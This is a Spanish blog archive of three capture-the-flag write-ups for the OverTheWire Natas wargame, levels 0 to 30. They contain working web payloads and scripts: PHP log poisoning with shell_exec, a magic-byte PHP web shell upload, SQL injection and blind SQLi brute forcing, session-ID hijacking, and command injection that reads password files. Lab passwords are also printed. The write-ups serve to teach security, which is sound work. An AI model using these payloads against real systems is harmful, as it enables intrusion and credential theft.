OverTheWire
Entradas registradas para este tema:
Guía Natas 21-30
¡Hola de nuevo! Última guía, sin soluciones, con los niveles del 21 al 30 de OverTheWire. La mayoría se resuelve fijándote en el código fuente, identificando aquellas posibles vulnerabilidades, leyendo documentación sobre su funcionalidad o buscando directamente la forma de explotarlas. Seguimos con algunos exploits de base de datos y, a partir del 28, vamos "a ciegas" porque ya no nos permiten ver el código fuente. De hecho, el nivel 28 lo trataré en un post distinto porque es especialmente complicado; la vulnerabilidad es a través de los cifradores en bloque y quiero estudiarlo bien. Por último, los niveles 29-30 son exploits en Perl y utilizaré Burp Suite para aprender un poco de esta herramienta.
Natas 21
La web principal no podemos hacer nada, pero nos indica una web experimental. Este concepto de Co-location (coubicación) es un fundamento de las páginas web y la vulnerabilidad de tener distintas sesiones en un mismo servidor.

Entramos en un sitio web donde experimentan con el estilo; mientras que el primero está bien protegido, en el segundo podemos inyectar la vulnerabilidad a través de la URL para entrar con la sesión de admin.
http://natas21-experimenter.natas.labs.overthewire.org/index.php?submit=update&admin=1
Natas 22
En este nivel evitamos la redirección para encontrar la contraseña. Su defensa es que, si no iniciamos sesión como admin, ese header nos envía a otra localización donde no vemos nada. Pero no está deteniendo el script.

Por lo tanto, con este programita evitamos la redirección y vemos lo que hay en "revelio".
import requests
url = "http://natas22.natas.labs.overthewire.org/"
r = requests.get(url, auth=('natas22','d8rwGBl0Xslg3b76uh3fEbSlnOUBlozz'), params={'revelio': ''}, allow_redirects=False)
print(r.text)
Natas 23
Este es una tontería, pero viene bien para entender cómo funciona la comparación y el manejo de string en PHP.

Tiene una condición de longitud, pero si la cadena empieza con números, como está usando el comparador >, PHP convierte a sus valores numéricos y asigna 0 a las strings. Es decir, 100iloveyou pasa a ser 100 > 10 = True.
Natas 24
Aquí, de nuevo, la clave es utilizar esos vacíos legales que tienen las funciones de cualquier lenguaje. Si están haciendo un strcmp entre una string y la contraseña, ¿qué pasa si no le damos una string, sino un array?

La función nos devuelve Null, pero !Null = True.
http://natas24.natas.labs.overthewire.org/?passwd[]=1,2
Natas 25
Esto ha sido un ataque de log poisoning. Por un lado, tenemos que darnos cuenta de que podíamos cambiar de directorio y acceder a otros archivos, pero con algunas restricciones, como el ../, que nos lo borra.

Pero simplemente poniendo ..../ se borra y queda el ../.
Por otro lado, no podemos acceder desde la URL al directorio de las webpass; es por ello que nos fijamos en la función logrequest, que hace uso del user agent, y ahí es donde enfocaremos el ataque.
http://natas25.natas.labs.overthewire.org/?lang=....//....//....//....//....//var/www/natas/natas25/logs/natas25_t3973ajvbdhgjtgtthis1q2g0n.log
Aquí se guardan nuestros intentos de acceder al directorio de la contraseña. Si le mandamos un comando por la cabecera y luego accedemos a los logs, veremos que ahí está la contraseña.
curl -v -u natas25:ckELKUWZUfpOv6uxS6M7lXBpBssJZ4Ws -b 'PHPSESSID=t3973ajvbdhgjtgtthis1q2g0n' -H 'User-Agent: <?php echo shell_exec("cat /etc/natas_webpass/natas26"); ?>' "http://natas25.natas.labs.overthewire.org/?lang=....//....//....//....//....//var/www/natas/natas25/logs/natas25_t3973ajvbdhgjtgtthis1q2g0n.log"
Natas 26
Este lo veremos aparte en otro post, junto al Natas 28. Creo que merece la pena estudiarlos bien y explicarlos en más profundidad; me ayudará a entenderlos.
Natas 27
En este nivel tuve que investigar características de ciertas funciones en PHP y aquí el truco no es "inyectar" código, sino explotar cómo MySQL y PHP manejan el tamaño de los datos y los espacios en blanco de forma distinta.
Los puntos clave del código:
- createUser utiliza substr($usr, 0, 64): El servidor trunca tu nombre de usuario a 64 caracteres antes de insertarlo en la base de datos.
- dumpData utiliza trim($usr): Cuando pedimos los datos, el código elimina los espacios al principio y al final.
- MySQL Comparison: Por defecto, MySQL ignora los espacios finales al comparar cadenas en una sentencia
SELECT. Es decir, para MySQL, "natas28" y "natas28 " son lo mismo.
En la web podemos registrar un usuario y contraseña si no lo ha hecho antes; luego podemos iniciar sesión con ese usuario y nos pone su información. Si logramos registrarnos como natas28 con nuestra propia contraseña y luego iniciar sesión, el sistema nos mostrará la base de datos con la contraseña de natas28. El ataque consta de crear un usuario con 65 caracteres: natas28 + 57 espacios + otro carácter. Así evitamos que trim nos elimine los espacios y creamos un usuario natas28 + 57 espacios. Luego accedemos, pero como MySQL no considera los espacios, nos devolverá las credenciales de natas28.
import requests
url='http://natas27.natas.labs.overthewire.org/index.php'
auth=('natas27', 'u3RRffXjysjgwFU6b9xa23i6prmUsYne')
userfalse = 'natas28' + (' ' * 57) + 'X'
data = {
'username': userfalse,
'password': '42',
}
response = requests.post(
url=url,
data=data,
auth=auth
)
print(response.text)
userfalse = 'natas28' + (' ' * 57)
data_login = {'username':userfalse , 'password': '42'}
response = requests.post(url, data=data_login, auth=auth)
print(response.text)
Natas 29
http://natas29.natas.labs.overthewire.org/index.pl?file=perl+underground
No podemos ver el source code, pero sabemos que está utilizando lenguaje Perl. Aquí me dio por probar Burp Suite, su interfaz y ver qué podía hacer. Viene muy bien para probar distintos comandos y ver qué acepta o afecta a través de iteraciones en payload.
Tomé prestada esta lista de comandos y, sumado con lo que busqué sobre Perl command injection, encontramos que con | comando %00 devuelve status 200. https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Command%20Injection/Intruder/command_exec.txt
|pwd%00
/var/www/natas/natas29 Una vez nos damos cuenta de esto, con hacer un cat de /etc/natas_webpass/natas30 no nos sirve porque hay un último defensor en forma de filtro.
Pero lo podemos saltar con el comodín.
http://natas29.natas.labs.overthewire.org/index.pl?file=|cat%20/etc/*_webpass/*30%00
Natas 30

Este es relativamente sencillo, una vez encuentras la información adecuada. En cuanto vi el source code, vi que se trataba de una SQL injection. Pero probando los típicos no lograba nada. Como el lenguaje es Perl, busqué específicamente, ya que es muy parecido al código de la página.
Lo estuve probando directamente en la página y con Burp Suite, pero no daba ni fail ni mostraba la contraseña; solo funcionó con este script de Python.
import requests
url="http://natas30.natas.labs.overthewire.org/index.pl"
auth=('natas30','WQhx1BvcmP9irs2MP9tRnLsNaDI76YrH')
r=requests.post(url=url, data = {'username': 'natas31', 'password': ["'prueba' OR 1",4]},
auth=auth)
print(r.text)
Guía Natas 11-20
¡Hola! Vamos con los niveles del 11 al 20 de OverTheWire. Aquí la cosa se pone interesante y chunga. En algunos niveles he tenido que consultar parte de las soluciones y mirar un montón de información. Veremos temas de XOR encryption, magic numbers, SQL injection y session hijacking.
Nivel 11

¿Qué es eso?
Es un tipo de cifrado donde P es el texto plano, K es la llave y C el texto cifrado.
P + K = C
Pero el operador XOR (OR exclusivo) es una operación lógica bit a bit que devuelve verdadero (1) si solo una de las dos entradas es verdadera, y falso (0) si ambas entradas son iguales (ambas verdaderas o ambas falsas). Tiene una propiedad que podría ser una vulnerabilidad:
C + K = P y C + P = K

Nuestro texto plano P es el showpassword con el bgcolor. Está claro que queremos enviarlo como "yes".
Para ello tenemos que obtener el cifrado C.

curl -i -u natas11:UJdqkK1pTu6VLt9UHWAgRZz6sVUZ3lEk http://natas11.natas.labs.overthewire.org/
# nuestro texto cifrado
C = HmYkBwozJw4WNyAAFyB1VUcqOE1JZjUIBis7ABdmbU1GIjEJAyIxTRg=
Vemos que el plan de ataque es: una vez tengamos la llave, podemos usarla para cifrar el texto plano que nos interese, es decir showpassword => yes.
Ese será nuestro:
P_nuevo XOR key = Cifrado_nuevo
Y el cifrado nuevo lo pondremos en la información de la cookie. De esta manera, el loadData cogerá nuestro cifrado_nuevo, lo decodificará de Base64 (nosotros tendremos que codificarlo antes), le hará el XOR encrypt, pero como lo hemos hecho a medida:
C_nuevo XOR K = P_nuevo = showpassword => yes
Ese texto plano lo decodificará de JSON (lo tendremos que codificar nosotros) y se lo asignará automáticamente al defaultdata.
Este es un fragmento del script para obtener la key. Al final es utilizar el programa que ya nos enseñan, pero al revés:
$data_original = array("showpassword" => "no", "bgcolor" => "#ffffff");
$plaintext_original = json_encode($data_original);
$cifrado = base64_decode($cookie_b64);
$full_key = "";
for ($i = 0; $i < strlen($cifrado); $i++) {
// Obtenemos el carácter de la clave usando XOR
$char_cifrado = $cifrado[$i];
$char_plano = $plaintext_original[$i % strlen($plaintext_original)];
$char_key = $char_cifrado ^ $char_plano;
$full_key .= $char_key;
}
Fragmento de la solución: una vez tenemos la key, lo ciframos y se lo pasamos a la cookie.
$data_nuevo = array("showpassword" => "yes", "bgcolor" => "#ffffff");
$plaintext_nuevo = json_encode($data_nuevo);
$nuevo_cifrado = "";
for ($i = 0; $i < strlen($plaintext_nuevo); $i++) {
$nuevo_cifrado .= $plaintext_nuevo[$i] ^ $real_key[$i % strlen($real_key)];
}
echo "Nuevo JSON: " . $plaintext_nuevo . "\n";
echo "Nueva Cookie (Base64): " . base64_encode($nuevo_cifrado) . "\n";
El XOR es un cifrado perfecto solo si se cumplen tres condiciones (lo que se conoce como One-Time Pad):
- La clave es tan larga como el mensaje.
- La clave es aleatoria.
- La clave solo se usa una vez.
En Natas 11 se rompen las tres reglas.
Natas 12
La solución de este nivel pasaba simplemente por crear un exploit PHP con un cat del archivo de passwords. Luego, para que la web no nos lo cambiara a JPG, nosotros se lo cambiamos por una extensión .php.

Natas 13
Este nivel es parecido, pero con una capa extra de seguridad. Habrá que usar los magic bytes para simular una imagen.
Aquí tenemos el defensor principal de este nivel. Vamos a buscar qué hace esa función de PHP:

exif_imagetype() lee los primeros bytes de una imagen y comprueba su firma. Devuelve un número asociado al tipo de imagen y false si no lo es.
# Creamos el archivo 'exploit.php'
# \xff\xd8\xff\xe0 son los bytes mágicos de un JPEG
printf "\xff\xd8\xff\xe0<?php echo 'PASS: ' . shell_exec('cat /etc/natas_webpass/natas14'); ?>" > exploit.php
Este es el exploit que subiremos con curl.
Natas 14

Aquí cambia la vulnerabilidad. Nos pide usuario y contraseña, pero si vemos el source code, está haciendo una consulta a la base de datos directamente, sin limpiar ni filtrar lo que ponemos.
En este caso, poniendo en el login lo siguiente, lo tenemos. La almohadilla es para comentar la parte del password:
" OR 1=1 #
En este caso es una forma de devolver TRUE y que tome el primer user.
Natas 15

En este caso hacemos una SQL injection a ciegas. Deberíamos probar con un script de fuerza bruta qué elementos de la contraseña están en la base de datos.
Al contrario que antes, por defecto solo accede a la base de datos para comprobar el username. Nosotros queremos añadirle a esa query que mire también usuario y contraseña.
La idea es ir probando carácter por carácter y añadirlo a la string que forma la contraseña.
Este es el fragmento más importante del script:
$charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
$password = "";
echo "Iniciando ataque de Blind SQLi...\n";
// Las contraseñas de Natas suelen tener 32 caracteres
for ($i = 0; $i < 32; $i++) {
foreach (str_split($charset) as $char) {
$attempt = $password . $char;
// Usamos LIKE BINARY para que MySQL distinga entre mayúsculas y minúsculas
$payload = 'natas16" AND password LIKE BINARY "' . $attempt . '%';
Natas 16
Hemos creado este script dirigido a Bash para que busque los caracteres que aparecen utilizando una palabra que sabemos que aparece en el diccionario. El primer grep busca los posibles caracteres y, si no aparece nada, es que ha encontrado ese carácter.
Este tuve que mirar los writeups porque tenía la idea, pero no acababa de saber implementarlo.
Natas 17
En este caso han comentado lo que devuelve por pantalla la web, para que no veamos si hay o no ciertos caracteres en la base de datos.
Para ello tendremos que basarnos en cuánto tarda en responder el servidor. En este caso la estrategia es similar a Natas 15, pero usando el comando sleep si encuentra la letra de la contraseña.
Supongo que esta es una manera más general que engloba las otras estrategias de SQL.
Al principio puse un sleep de 5, pero creo que llegó el proceso a un max timeout y se quedó con una contraseña de 25 caracteres.
Natas 18

Estamos ante una vulnerabilidad de session prediction y session hijacking.
Aquí hay un trozo del código. La idea es que el admin ya tiene una sesión iniciada y que el rango máximo de sesión es 640, que es un número muy bajo. El cual, a fuerza bruta, podemos averiguarlo y cambiar la cookie de la session_id para hacernos pasar por la sesión del admin y que nos dé las credenciales.
Este es el fragmento principal del script:
url = "http://natas18.natas.labs.overthewire.org/index.php"
auth = HTTPBasicAuth('natas18', '6OG1PbKdVjyBlpxgD4DDbRG6ZLlCGgCJ')
for i in range(1, 641):
# Creamos la cookie con el ID actual
cookies = {'PHPSESSID': str(i)}
# Enviamos la petición GET incluyendo la cookie
r = requests.get(url, auth=auth, cookies=cookies)
if "You are an admin" in r.text:
pass
Natas 19
Este es muy similar al anterior, pero la session_id estaba en hexadecimal. He modificado el script anterior.
La función hex() de Python es solo para integers, por eso utilizamos antes el encode para pasarlo a bytes.
for i in range(1, 641):
session = str(i) + "-admin"
session_bytes = session.encode()
session_hex = session_bytes.hex()
cookies = {'PHPSESSID': session_hex}
r = requests.get(url, auth=auth, cookies=cookies)
if "You are an admin" in r.text:
pass
Natas 20

La clave de este nivel está en cómo se guardaban los datos. Hemos aprovechado el salto de línea para añadir un username - value que fuera el admin.
Hemos codificado por URL la petición para ponerle el \n (%0a):
http://natas20.natas.labs.overthewire.org/index.php?name=pepe%0aadmin%201
🚩 Guía de Superviviencia: Natas (Niveles 0 al 10)
Hola! hoy traigo los diez primeros niveles de Natas OverTheWire, Voy a resumir y explicar las soluciones a las que he llegado, no pondre paso a paso porque la gracia de estos retos es no buscar la respuesta directamente.
🕵️ Niveles 1-2
Estos niveles son muy facilitos. Inspeccionando el codigo de la web o usando curls vemos una exposición de información.
- Si ves una ruta de imagen como
/files/pixel.png, intenta navegar a/files/. Si el servidor no está bien configurado, verás el listado completo de archivos. Entre ellos uno con la contraseña.
🤖 Nivel 3
- La vulnerabilidad: El archivo
robots.txtes una instrucción para buscadores (Google, Bing...), hay que acceder a http://natas3.natas.labs.overthewire.org/robots.txt Esta ruta se debe a que hoy en dia los buscadores tiene indexados las webs y sus contenidos para saber que hay y mostrarlo. en ese archivo puedes especificar que parte del contenido sale y que no. en este caso nos muestra un directorio secreto con la contrasenya
📋 Nivel 4: Manipulando la cabecera
La leccion: No se debe confiar en las cabeceras HTTP que envía el cliente.
- ¿Por qué es vulnerable? El sitio confía en la cabecera
Referer, que indica de qué página vienes. Al ser una cabecera que envía el navegador del usuario, podemos interceptarla y modificarla con herramientas como Burp Suite o comandoscurl -eo-referery modificar donde hago la petición.
curl -u natas4:QryZXc2e0zahULdHrtHxzyYkj59kUxLQ -e http://natas5.natas.labs.overthewire.org/ http://natas4.natas.labs.overthewire.org/
🍪 Nivel 5: Manipulación de Cookies
En este caso eran las cookies lo que había que modificar, venia con el valor loggedin=0, se podia cambiar tanto desde f12 --> almacenamiento como con curl
- Escenario: El servidor verifica una cookie llamada
loggedin. Si cambias su valor de0a1, el servidor "cree" que ya has iniciado sesión.
📂 Nivel 7: Local File Inclusion (LFI)
Este es una tonteria. El parámetro ?page= carga archivos del sistema.
- Vulnerabilidad: El código hace algo como
include($_GET['page'])sin filtrar. Esto nos permite leer archivos internos del servidor, como el password de Natas 8. Accedemos a http://natas7.natas.labs.overthewire.org/index.php?page=/etc/natas_webpass/natas8 que es donde OverTheWire guarda las claves.
🧪 Nivel 8: Ingeniería Inversa

Para obtener el secreto, analizamos el código PHP y desandamos el camino. Es una composición de funciones inversas:
-
De Hexadecimal a Binario (
xxd -r -p). -
Invertir la cadena (
rev). -
Decodificar Base64 (
base64 -d).
echo $encodedSecret | xxd -r -p | rev | base64 -d
💻 Niveles 9-10: Command Injection

El servidor usa la función passthru() o system() para ejecutar un comando de shell (como grep).
-
Nivel 9: Usamos el punto y coma
;para terminar el comando legítimo y empezar el nuestro:; cat /etc/natas_webpass/natas10. -
Nivel 10: el 10 es lo mismo pero con sanitizaciones para que no sea tan facil prohíben caracteres como
;o&. Buscas por internet, yo di con esta solucion pero fijo que hay más.
.
%0acat /etc/natas_webpass/natas11
Y eso es todo de momento. En breves subire los niveles 11 al 20 que tocan cosas mas interesantes.
Hasta luego!